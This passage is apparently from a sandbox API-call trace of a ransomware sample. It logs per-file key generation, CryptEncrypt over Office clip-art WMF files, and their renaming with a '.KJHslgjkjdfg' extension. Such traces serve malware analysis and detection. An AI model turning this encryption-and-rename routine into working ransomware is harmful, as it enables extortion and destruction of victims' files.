nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0206.243] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0206.243] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0206.243] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0206.244] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0206.244] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0206.244] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.244] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.244] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.244] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xff8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xff8, lpOverlapped=0x0) returned 1 [0206.244] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1000, dwBufLen=0x1000 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1000) returned 1 [0206.244] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.244] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1000, lpOverlapped=0x0) returned 1 [0206.244] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.244] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x10d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.244] SetEndOfFile (hFile=0x130) returned 1 [0206.246] GetProcessHeap () returned 0x990000 [0206.246] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0206.246] GetProcessHeap () returned 0x990000 [0206.246] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0206.246] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02435_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02435_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02435_.wmf.kjhslgjkjdfg")) returned 1 [0206.248] CloseHandle (hObject=0x130) returned 1 [0206.248] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1434, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02439_.WMF", cAlternateFileName="")) returned 1 [0206.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02439_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.248] GetProcessHeap () returned 0x990000 [0206.248] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0206.248] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0206.248] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0206.249] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0206.251] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.251] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.251] GetProcessHeap () returned 0x990000 [0206.251] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0206.251] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0206.251] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.251] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0206.251] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0206.251] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0206.251] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0206.252] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0206.252] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0206.252] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.252] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.252] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.252] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1434, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1434, lpOverlapped=0x0) returned 1 [0206.253] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1440, dwBufLen=0x1440 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1440) returned 1 [0206.253] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.253] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1440, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1440, lpOverlapped=0x0) returned 1 [0206.254] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.254] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1514, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.254] SetEndOfFile (hFile=0x130) returned 1 [0206.256] GetProcessHeap () returned 0x990000 [0206.256] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0206.256] GetProcessHeap () returned 0x990000 [0206.256] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0206.256] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02439_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02439_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02439_.wmf.kjhslgjkjdfg")) returned 1 [0206.258] CloseHandle (hObject=0x130) returned 1 [0206.258] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3218, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02441_.WMF", cAlternateFileName="")) returned 1 [0206.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02441_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.259] GetProcessHeap () returned 0x990000 [0206.259] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0206.259] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0206.259] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0206.259] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0206.261] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.261] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.261] GetProcessHeap () returned 0x990000 [0206.261] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0206.261] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0206.262] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.262] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0206.262] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0206.262] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0206.262] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0206.262] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0206.262] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0206.262] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.262] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.262] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.262] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3218, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3218, lpOverlapped=0x0) returned 1 [0206.263] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3220, dwBufLen=0x3220 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3220) returned 1 [0206.264] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.264] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3220, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3220, lpOverlapped=0x0) returned 1 [0206.264] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.264] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x32f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.264] SetEndOfFile (hFile=0x130) returned 1 [0206.267] GetProcessHeap () returned 0x990000 [0206.267] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0206.267] GetProcessHeap () returned 0x990000 [0206.267] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0206.267] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02441_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02441_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02441_.wmf.kjhslgjkjdfg")) returned 1 [0206.268] CloseHandle (hObject=0x130) returned 1 [0206.268] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x55c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02443_.WMF", cAlternateFileName="")) returned 1 [0206.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02443_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.269] GetProcessHeap () returned 0x990000 [0206.269] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0206.269] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0206.269] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0206.269] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0206.272] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.272] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.272] GetProcessHeap () returned 0x990000 [0206.272] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0206.272] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0206.272] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.272] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0206.272] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0206.272] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0206.272] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0206.272] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0206.273] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0206.273] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.273] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.273] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.273] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x55c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x55c, lpOverlapped=0x0) returned 1 [0206.273] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x560, dwBufLen=0x560 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x560) returned 1 [0206.273] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.273] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x560, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x560, lpOverlapped=0x0) returned 1 [0206.273] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.273] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x634, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.273] SetEndOfFile (hFile=0x130) returned 1 [0206.274] GetProcessHeap () returned 0x990000 [0206.274] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0206.274] GetProcessHeap () returned 0x990000 [0206.274] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0206.274] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02443_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02443_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02443_.wmf.kjhslgjkjdfg")) returned 1 [0206.275] CloseHandle (hObject=0x130) returned 1 [0206.276] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x88c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02444_.WMF", cAlternateFileName="")) returned 1 [0206.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02444_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.276] GetProcessHeap () returned 0x990000 [0206.276] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0206.276] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0206.276] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0206.276] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0206.279] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.279] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.279] GetProcessHeap () returned 0x990000 [0206.279] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0206.279] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0206.279] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.279] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0206.279] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0206.279] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0206.279] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0206.279] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0206.279] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0206.279] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.280] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, 